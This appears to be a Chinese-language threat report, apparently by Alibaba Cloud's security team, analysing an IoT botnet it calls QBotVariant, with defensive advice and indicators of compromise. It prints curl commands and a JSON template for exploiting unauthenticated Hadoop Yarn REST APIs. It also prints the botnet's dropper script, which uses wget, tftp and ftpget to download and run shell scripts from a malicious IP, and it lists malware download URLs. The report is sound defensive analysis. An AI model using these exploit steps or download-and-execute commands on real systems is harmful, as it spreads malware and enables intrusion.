互聯(lián)網(wǎng)給人帶來便捷的同時,其公開大量的資源也同樣給惡意利用者帶了便捷,越來越多公開的惡意程序源碼降低了對外攻擊、入侵的難度,使得安全問題愈加嚴(yán)重。
阿里云安全團隊從今年5月份監(jiān)測到一BOT家族,其樣本改寫自互聯(lián)網(wǎng)公開渠道源碼,在互聯(lián)網(wǎng)上廣泛傳播,造成了極大的危害,云安全團隊對該類樣本做了分析、聚類、溯源,在此我們將該類樣本命名為QBotVariant。
QBotVariant具有DDoS攻擊、后門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式通過Hadoop Yarn資源管理系統(tǒng)REST API未授權(quán)訪問漏洞和基于弱口令的暴力破解。類似Mirai該BOT家族針對多個版本的操作系統(tǒng),不僅服務(wù)器受到危害,如CCTV監(jiān)控、家庭路由等IOT設(shè)備更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到該類樣本,但是他發(fā)現(xiàn)的IP、樣本等信息只是該類家族的其中一個樣本,而我們從監(jiān)測到30多個下載服務(wù)器可以看出,QBotVariant多變的IP和二進制樣本變種,使其難以發(fā)現(xiàn)和跟蹤。
在云平臺上,我們監(jiān)測到的QBotVariant活躍度如下,峰值的時候可以達(dá)到上千個,活躍度一直未減。
以下我們將從傳播方式、腳本分析、樣本分析、溯源等多個角度對QBotVariant進行詳細(xì)的分析。
入侵、傳播方式
QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統(tǒng)REST API未授權(quán)訪問漏洞進行入侵,二是通過硬編碼的弱密碼進行SSH暴力破解。
Hadoop是一款由Apache基金會推出的分布式系統(tǒng)框架,它通過著名的MapReduce算法進行分布式處理,Yarn是Hadoop集群的資源管理系統(tǒng)。Hadoop Yarn資源管理系統(tǒng)配置不當(dāng)導(dǎo)致可以未經(jīng)授權(quán)進行訪問,從而被攻擊者惡意利用。攻擊者無需認(rèn)證即可通過REST API部署任務(wù)來執(zhí)行任意代碼,最終完全控制服務(wù)器。
其問題來源于對外開啟了以下作用的端口
yarn.resourcemanager.webapp.address,默認(rèn)端口8088
yarn.resourcemanager.webapp.https.address,默認(rèn)端口8090
通過對新申請application,如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再執(zhí)行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
"am-container-spec":{
"commands":{
"command":"執(zhí)行的命令書寫在這里"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
腳本分析
我們通過溯源找到了QBotVariant比較原始版本的腳本,在原始版本的腳本中支持wget、tftp、ftpget等腳本的執(zhí)行,從遠(yuǎn)程下載服務(wù)器下載腳本并執(zhí)行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿里云安全截獲的一個經(jīng)過改寫的下載腳本,從腳本可以看出作者為了能夠很好的對IOT設(shè)備支持,一方面編譯了不同版本的程序,通過ntpd、sshd、openssh等進行偽裝;另一方面每個命令行都加入了對busybox的支持,這些使得該類腳本很好的支持了IOT設(shè)備,為QBotVaraint的傳播提供了更加便捷的途徑。

在阿里云捕獲的源碼中有用于編譯多個版本的腳本

QBotVariant支持版本類型及其對應(yīng)二進制名稱:
支持版本類型 | 對應(yīng)二進制名稱 | 支持版本類型 | 對應(yīng)二進制名稱 |
mips | ntpd | i586 | ftp |
mipsel | sshd | m68k | pftp |
sh4 | openssh | sparc | sh |
x86_64 | bash | armv4l | |
armv6l | tftp | armv5l | apache2 |
i686 | wget | powerpc-440fp | telnetd |
powerpc | cron |
樣本分析
阿里云截獲的多批次樣本都比較相似,都改編于QBot。某些作者為了精簡樣本或者進行殺軟對抗可能將某些功能進行裁剪,我們隨機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函數(shù)進行了裁剪,該樣本只實現(xiàn)了QBot的少許功能,其文件更小、功能更加單一。

而絕大部分樣本都實現(xiàn)了基本功能,其傳播性、危害性等性質(zhì)并未改變,部分函數(shù)如圖所示

指令分析
我們對遠(yuǎn)控指令進行了分析,其功能如下圖所示

值得注意是StartTheLelz函數(shù),該函數(shù)主要用于對隨機生成的IP地址進行爆破,如圖通過getRandomPublicIP函數(shù)得到隨機的IP,將硬編碼的用戶名和密碼存儲在結(jié)構(gòu)體中,然后進行連接,其最大爆破次數(shù)通過max變量進行控制,max和文件描述表的項數(shù)有關(guān)但最大不超過4096。
通過數(shù)據(jù)區(qū)可以看見作者集成了幾種常見的用戶名和密碼用于爆破

如果最終爆破成功,則會在被爆破的主機中執(zhí)行如下腳本,從而感染主機,再繼續(xù)向外傳播

除了集成常見的對外DDoS攻擊方法,QBotVariant還可以進行對外發(fā)送垃圾數(shù)據(jù),通過sendJUNK或sendUDP即可完成該動作,如圖用于生成隨機字符串的makeRandomStr函數(shù),通過發(fā)送大量垃圾包同樣可以造成網(wǎng)絡(luò)帶寬阻塞。

而QBotVariant為了最大化入侵價值,同樣提供了遠(yuǎn)程shell命令執(zhí)行功能,其命令以"SH"開頭,通過fdgets、sockprintf將命令執(zhí)行后的結(jié)果返回到遠(yuǎn)控端,實現(xiàn)如下

樣本溯源/同源性分析
我們在對樣本分析的過程中發(fā)現(xiàn)一個有趣的現(xiàn)象,樣本為了逃避檢測,有多種不同的指令,我們選取了幾種QBotVariant的上線方式。
第一種,信息較簡單,返回大小端、CPU架構(gòu)、主機用途等信息。

第二種,信息比較全面,帶有操作系統(tǒng)、CPU架構(gòu)、主機用途、端口、主機IP等信息。

第三種,信息最為簡單,只返回架構(gòu)信息。

第四種,返回大小端、架構(gòu)信息。

第五種,信息比較全面,架構(gòu)信息、大小端、主機IP、主機用途等信息。

第六種,返回主機IP、類型、版本信息等。

第七種,返回架構(gòu)、主機IP等信息。

我們在對樣本進行溯源發(fā)現(xiàn),在pastebin上存在大量該類樣本的源碼、二進制文件等,其存在時間都在數(shù)月之久,作者目錄下還包括其他類型IOT蠕蟲,同時發(fā)現(xiàn)多個作者進行了QBot的改寫,如圖是其中一位作者的pastebin和github
QBot在國內(nèi)似乎大家認(rèn)知不多,但是由于源碼簡單、客戶端小、支持多種架構(gòu),從09年活躍至今一直未間斷過,常被應(yīng)用于遠(yuǎn)控、DDoS等客戶端,在其截獲的IP中,絕大部分位于北美和歐洲各地,但是云平臺檢測到來自國內(nèi)IP的攻擊源,國內(nèi)安全人員應(yīng)該引起重視。
安全加固?●??云防火墻
開啟云防火墻IPS攔截模式和虛擬補丁功能,云防火墻已經(jīng)支持對該類漏洞的防御和防止暴力破解功能,用戶即使不及時修復(fù)也依然能夠進行防御攔截。
?●??網(wǎng)絡(luò)訪問控制
使用"ECS/VPC安全組"對"受影響服務(wù)端口"訪問源IP進行控制,如果本身Hadoop環(huán)境僅對內(nèi)網(wǎng)提供服務(wù),請不要將Hadoop服務(wù)端口發(fā)布到互聯(lián)網(wǎng)。
?●??更新升級
若使用自建的Hadoop,根據(jù)實際情況及時更新補丁,Hadoop在2.X以上版本提供了安全認(rèn)證功能,加入了Kerberos認(rèn)證機制,建議啟用Kerberos認(rèn)證功能或者您可以選擇使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服務(wù)。
安全建議
?●??云防火墻產(chǎn)品已支持防御針對此漏洞的攻擊,建議用戶可以購買云防火墻,開啟檢測。
?●??通過安全管家服務(wù),在阿里云安全專家的指導(dǎo)下進行安全加固及優(yōu)化工作,避免系統(tǒng)受到漏洞影響。
總結(jié)
QBotVariant通過Hadoop Yarn資源管理系統(tǒng)REST API未授權(quán)訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不僅會占用主機計算資源消耗帶寬流量,成為攻擊其他主機的肉雞,還可能造成數(shù)據(jù)泄露,數(shù)據(jù)丟失等后果。
阿里云安全提醒廣大互聯(lián)網(wǎng)用戶,注意第三方應(yīng)用的配置,防止出現(xiàn)此類未授權(quán)漏洞,同時加強用戶名和密碼的安全意識,切實保護自身資產(chǎn)安全。
IOC
部分MD5-文件名
文件名 | MD5 |
185.244.25.153 | |
YSDKOP.arm4 | cc9de0d789efc8636946b4b41f374dfc |
YSDKOP.arm5 | ac94604edfe7730ccf70d5cd75610d01 |
YSDKOP.arm6 | dcb51c5abd234a41ee0439183f53fd2d |
YSDKOP.arm7 | 2416380b2fe0c693fd7c26a91b4cb8ee |
YSDKOP.i586 | 2f029723c778f15e8e825976c66e45cd |
YSDKOP.i686 | 49ec48d3afdddb098fa2c857fc63c848 |
YSDKOP.m68k | 7efef839902ca20431d58685d9075710 |
YSDKOP.mips | eab0810535b45fa1bf0f6243dafb0373 |
YSDKOP.mpsl | a2c4e09821be6a4594e88376b9c30b5d |
YSDKOP.ppc | 1fc61114722f301065cd9673025ce5e0 |
YSDKOP.sh4 | 38abc827e67ff53d0814979b435e2c40 |
YSDKOP.sparc | 20a38aeeffba9f0f1635c7b4b78f3727 |
YSDKOP.x86 | 8fd97d622e69b69a3331ee5ed08e71b2 |
188.166.125.19 | |
7e9c49b9e743bcf7b382fa000c27b49d | |
apache2 | 64394fb25494b0cadf6062a0516f7c1a |
bash | 75e7ce8c110bb132d3897b293d42116a |
cron | e8dfae1fe29183548503dc0270878e52 |
ftp | 0e765d00f0ee174e79c81c9db812e3a2 |
ntpd | 2cb932dcb5db84dafa8cdc6b4afa52d0 |
openssh | 606a3169f099b0f2423c63b4ed3f9414 |
pftp | 6666ef216ce7434927338137760f4ab0 |
sh | cc2e82ffbc6d5053efade4849c13099f |
sshd | 00b0a6516986aca277d0148c7ddf38c4 |
tftp | 38b075ee960d08e96b2e77205ec017de |
wget | 58c5e1bc66ac6b364639bce4b3f76c58 |
部分IP
178.128.194.222 | 178.128.7.76 |
103.214.111.122 | 130.185.250.199 |
194.182.80.200 | 138.197.74.100 |
198.199.84.119 | 104.248.165.108 |
178.128.46.254 | 159.65.227.17 |
206.189.196.216 | 80.211.109.66 |
194.48.152.114 | 159.89.114.171 |
178.128.43.104 | 185.244.25.153 |
209.97.159.10 | 46.36.37.121 |
46.29.164.242 | 46.17.47.250 |
158.69.60.239 | 195.181.223.138 |
80.211.39.186 | 188.166.125.19 |
104.248.112.122 | 212.237.26.71 |
178.128.239.252 | 104.248.212.127 |
104.248.63.168 |
部分URL及出現(xiàn)時間
URL | 時間 |
http://138.197.74.100/bins.sh | 20180904 |
http://80.211.39.186/bins.sh | 20180904 |
http://178.128.239.252/bins.sh | 20180908 |
http://158.69.60.239/bins/boti586final | 20180908 |
http://158.69.60.239/bins/botx86_64final | 20180908 |
http://158.69.60.239/bins/boti686final | 20180908 |
http://158.69.60.239/bins.sh | 20180908 |
http://178.128.239.252/bins.sh | 20180909 |
http://130.185.250.199/bins.sh | 20180909 |
http://46.17.47.250/xm2bash | 20180913 |
http://104.248.112.122/Kuso69/Akiru.x86 | 20180918 |
http://194.182.80.200/bins.sh | 20180919 |
http://104.248.112.122/Kuso69/Akiru.x86 | 20180919 |
http://209.97.159.10/bins.sh | 20181003 |
http://46.17.47.250/xm2wget | 20181005 |
http://185.244.25.153/bins.sh | 20181009 |
http://159.65.227.17/bins.sh | 20181009 |
http://178.128.7.76/bins.sh | 20181010 |
http://185.244.25.153/bins.sh | 20181010 |
http://104.248.212.127/bins.sh | 20181010 |
http://159.65.227.17/bins.sh | 20181010 |
http://206.189.196.216/bins.sh | 20181010 |
http://188.166.125.19/bins.sh | 20181010 |
http://188.166.125.19/bins.sh | 20181011 |
http://185.244.25.153/bins.sh | 20181011 |
http://178.128.7.76/bins.sh | 20181011 |
http://104.248.212.127/bins.sh | 20181011 |
http://80.211.109.66/bins.sh | 20181012 |
http://185.244.25.153/bins.sh | 20181012 |
http://195.181.223.138/bins.sh | 20181012 |
http://159.89.114.171/bins.sh | 20181012 |
http://178.128.7.76/bins.sh | 20181012 |
http://104.248.212.127/bins.sh | 20181012 |
http://185.244.25.153/bins.sh | 20181015 |
http://104.248.165.108/bins.sh | 20181018 |
http://198.199.84.119/bins.sh | 20181018 |
http://103.214.111.122/bins.sh | 20181019 |
http://178.128.46.254/bins.sh | 20181019 |
http://178.128.43.104/bins.sh | 20181019 |
http://104.248.63.168/vvglma | 20181021 |
http://178.128.194.222/bins.sh | 20181026 |
http://178.128.194.222/bins.sh | 20181027 |
http://178.128.194.222/bins.sh | 20181028 |
http://46.29.164.242/bins.sh | 20181031 |
http://194.48.152.114/bins.sh | 20181101 |
http://46.36.37.121/weed.sh | 20181103 |
參考鏈接
?●??https://help.aliyun.com/knowledge_detail/71609.html
?●??https://blog.radware.com/security/2018/10/new-demonbot-discovered/
電子發(fā)燒友App

































評論